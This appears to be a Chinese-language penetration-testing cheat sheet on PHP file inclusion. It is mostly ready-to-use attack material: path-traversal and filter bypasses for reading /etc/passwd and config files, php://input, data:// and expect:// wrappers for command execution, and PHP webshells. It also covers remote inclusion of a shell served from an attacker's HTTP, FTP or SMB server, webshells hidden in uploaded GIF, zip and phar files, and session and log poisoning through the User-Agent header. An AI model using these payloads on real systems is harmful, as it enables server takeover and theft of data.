File Inclusion

下表显示了哪些函数可以执行文件以及哪些函数只能读取文件内容:

功能 阅读内容 执行 远程 URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

常见可读文件C:\Windows\boot.ini/etc/passwd,结合FUZZ技术测试。

Baisc bypass

双写

针对 LFI 的最基本过滤器之一是搜索和替换过滤器,它只是删除 ( ../) 的子字符串以避免路径遍历(非递归)。

1
$point = str_replace('../', '', $_GET['point']);
1
....//

编码

某些 Web 过滤器可能会阻止包含某些 LFI 相关字符(如用于路径遍历的点.或斜线)的输入过滤/器。但是,其中一些过滤器可能会通过对输入进行 URL 编码来绕过,这样它就不再包含这些坏字符,但一旦到达易受攻击的函数,仍会被解码回路径遍历字符串。版本 5.3.4 及更早版本上的核心 PHP 过滤器特别容易受到这种绕过的影响,但即使在较新的版本中,也可能发现可以通过 URL 编码绕过的自定义过滤器。

1
2
../
%2e%2e%2f

批准路径

1
2
3
4
5
if(preg_match('/^\.\/languages\/.+$/', $_GET['point'])) {
include($_GET['point']);
} else {
echo 'Illegal path specified!';
}
1
./languages/../../../../etc/passwd

附加扩展

某些 Web 应用程序会将扩展名附加到输入字符串(例如.php),以确保包含的文件具有预期的扩展名。使用现代版本的 PHP,可能无法绕过这一点,并且只能读取该扩展名的文件。

与 PHP 的现代版本已过时,仅适用于 5.3/5.4 之前的 PHP 版本。

路径截断

在早期版本的 PHP 中,定义的字符串的最大长度为 4096 个字符,这可能是由于 32 位系统的限制。如果传递了更长的字符串,它将被截断,并且最大长度之后的任何字符都将被忽略。此外,PHP 还习惯于删除路径名中的尾部斜杠和单个点,因此如果调用 (/etc/passwd/.),那么 /. 也将被截断,并且 PHP 将调用 (/etc/passwd)。PHP 和 Linux 系统通常也会忽略路径中的多个斜杠(例如 ////etc/passwd/etc/passwd 相同)。同样,路径中间的当前目录快捷方式 (.) 也将被忽略(例如 /etc/./passwd)。

如果将这两个 PHP 限制结合在一起,可以创建非常长的字符串,这些字符串可以计算为正确的路径。每当达到 4096 个字符的限制时,附加的扩展名 (.php) 就会被截断,并且将得到一个没有附加扩展名的路径。最后,还需要注意的是,还需要start the path with a non-existing directory此技术发挥才能发挥作用。

1
2
3
$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

non_existing_directory/../../../etc/passwd/./././<SNIP>././././

还可以增加../的数量,因为添加更多数量仍会让进入根目录。如果使用此方法,应该计算字符串的整个长度,以确保只有.php或其他扩展被截断,而不是字符串末尾的请求文件(/etc/passwd)。

空字节

PHP 5.5 之前的版本容易受到null byte injection的影响,这意味着在字符串末尾添加一个空字节 (%00) 将终止该字符串,并且不会考虑其后的任何内容。这是由于字符串在低级内存中的存储方式造成的,内存中的字符串必须使用空字节来指示字符串的结尾,就像在汇编语言、C 或 C++ 语言中看到的那样。

为了利用此漏洞,可以用空字节(例如/etc/passwd%00)结束有效载荷,这样传递给的最终路径include()将是(/etc/passwd%00.php)。这样,即使.php将附加到字符串,空字节后面的任何内容都会被截断,因此使用的路径实际上是/etc/passwd,从而导致绕过附加的扩展名。

PHP Filters

1
php://filter/read=convert.base64-encode/resource=config.php

example:

1
ffuf -w ~/Security/dict/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://URL/index.php?language=php://filter/read=convert.base64-encode/resource=FUZZ' -ic -fs 2000

PHP Wrappers

Php 配置文件 /etc/php/x.y/apache2/php.ini

data://

depend

1
allow_url_include = on

exploit

1
http://<SERVER_IP>:<PORT>/index.php?point=data://text/plain;base64_string

input://

depend

1
allow_url_include = on

exploit

1
2
3
http://<SERVER_IP>:<PORT>/index.php?point=php://input&0=id

POST:<?php system($_REQUEST[0]);?>

expect://

depend

1
extension = expect

exploit

1
http://<SERVER_IP>:<PORT>/index.php?point=expect://id

RFI

功能 阅读内容 执行 远程 URL
PHP
include()/include_once()
file_get_contents()
Java
import
.NET
@Html.RemotePartial()
include

depend

1
allow_url_include = On

exploit

1
2
# webshell
echo '<?php system($_GET[0]);?>' > shell.php
1
2
3
4
5
6
7
8
9
10
11
# HTTP
python3 -m http.server 80
http://<SERVER_IP>:<PORT>/index.php?point=http://server/shell.php&0=id

# FTP
python -m pyftpdlib -p 21
http://<SERVER_IP>:<PORT>/index.php?point=ftp://user:pass@server/shell.php&0=id

# SMB 不需要 allow_url_include
impacket-smbserver -smb2support share $(pwd)
http://<SERVER_IP>:<PORT>/index.php?point=\\server\share\shell.php&0=id

File Upload & LFI

功能 阅读内容 执行 远程 URL
PHP
include()/include_once()
require()/require_once()
NodeJS
res.render()
Java
import
.NET
include

image

1
2
# webshell
echo 'GIF89a<?php system($_GET[0]);?>' > shell.gif

将上传的文件包含到 LFI 漏洞中(需要找到图片路径,fuzz)

1
http://<SERVER_IP>:<PORT>/index.php?point=./images/shell.gif&0=id

Zip

1
2
# webshell
echo '<?php system($_GET[0]);?>' > shell.php && zip shell.jpg shell.php

注意:尽管将 zip 存档命名为(shell.jpg),但某些上传表单仍可能通过内容类型测试将文件检测为 zip 存档并禁止其上传,因此,如果允许上传 zip 存档,则此攻击成功的可能性更高。

1
http://<SERVER_IP>:<PORT>/index.php?point=zip://./images/shell.jpg%23shell.php&0=id

Phar

webshell

1
2
3
4
5
6
7
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

phar.readonly = 0 时,允许 PHP 创建和修改 phar 文件。

1
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

将上传的文件包含到 LFI 漏洞中

1
http://<SERVER_IP>:<PORT>/index.php?point=phar://./images/shell.jpg%2Fshell.txt&0=id

Log Poisoning

功能 阅读内容 执行 远程 URL
PHP
include()/include_once()
require()/require_once()
NodeJS
res.render()
Java
import
.NET
include

PHP Session Poisoning

PHPSESSID Cookie,它可以在后端保存与用户相关的特定数据,存储在session后端的文件中,在 Linux 上保存在/var/lib/php/sessions/ ,在Windows 上保存在C:\Windows\Temp\,文件前缀sess_

查看当前 PHPSESSID Cookie,补全文件名

1
/var/lib/php/sessions/sess_*

查看页面元素显示情况并分析记录了哪些数据

1
2
3
4
http://<SERVER_IP>:<PORT>/index.php?point=/var/lib/php/sessions/sess_5u2us8k88igoc7ca1veic27or7

# sess_5u2us8k88igoc7ca1veic27or7
selected_language|s:6:"en.php";preference|s:7:"English";

针对出现的页面元素进行测试

1
2
3
http://<SERVER_IP>:<PORT>/index.php?point=<?php%20system($_GET[0]);?>

http://<SERVER_IP>:<PORT>/index.php?point=/var/lib/php/sessions/sess_5u2us8k88igoc7ca1veic27or7&0=id

注意:要执行另一个命令,必须再次使用 Web Shell 毒害会话文件,文件会被覆盖。

Server Log Poisoning

Apache和都Nginx维护各种日志文件,例如access.logerror.logaccess.log文件包含有关对服务器发出的所有请求的各种信息,包括每个请求的User-Agent标头。

Nginx默认情况下,日志可由低权限用户读取(例如www-data),而Apache日志仅可由具有高权限的用户读取(例如root/adm组)。但是,在较旧或配置错误的Apache服务器中,这些日志可能可由低权限用户读取。

默认日志存储位置

Server Linux Windows
Apache /var/log/apache2/ C:\xampp\apache\logs\
Nginx /var/log/nginx/ C:\nginx\log\

Apache

User-Agent 请求毒害

1
curl -s 'http://<SERVER_IP>:<PORT>/index.php?point=/var/log/apache2/access.log&0=id' -A '<?php system($_GET[0]);?>'

还可以观察记录了哪些日志,再利用。

/etc/apache2/envvars文件中的变量APACHE_LOG_DIR,记录了/access.log/error.log 的位置。

提示: Linux 目录下的进程文件/proc/上也显示了User-Agent标头。因此,可以尝试包括/proc/self/environ/proc/self/fd/N文件(其中 N 是通常在 0-50 之间的 PID),并且可能能够对这些文件执行相同的攻击。

如果没有对服务器日志的读取权限,这可能会很方便。但是,这些文件也可能只有特权用户才能读取。

other

  • /var/log/sshd.log
  • /var/log/mail
  • /var/log/vsftpd.log

首先尝试通过 LFI 读取这些日志,如果确实可以访问它们,可以尝试毒害它们。例如,如果sshftp服务暴露给,并且可以通过 LFI 读取它们的日志,那么可以尝试登录它们并将用户名设置为 PHP 代码,在包含它们的日志后,PHP 代码就会执行。服务也是如此mail,因为可以发送包含 PHP 代码的电子邮件,在包含其日志后,PHP 代码就会执行。可以将这种技术推广到任何记录控制的参数的日志,并且可以通过 LFI 漏洞读取这些日志。

FUZZ

配置文件路径字典: LFI-WordList-LinuxLFI-WordList-Windows

1
2
3
4
5
6
7
8
# payload
ffuf -w /path/to/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://<SERVER_IP>:<PORT>/index.php?point=FUZZ'

# webroot
ffuf -w /path/to/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?point=../../../../FUZZ/index.php'

# configfile
ffuf -w /path/to/LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?point=../../../../FUZZ'
⬆︎TOP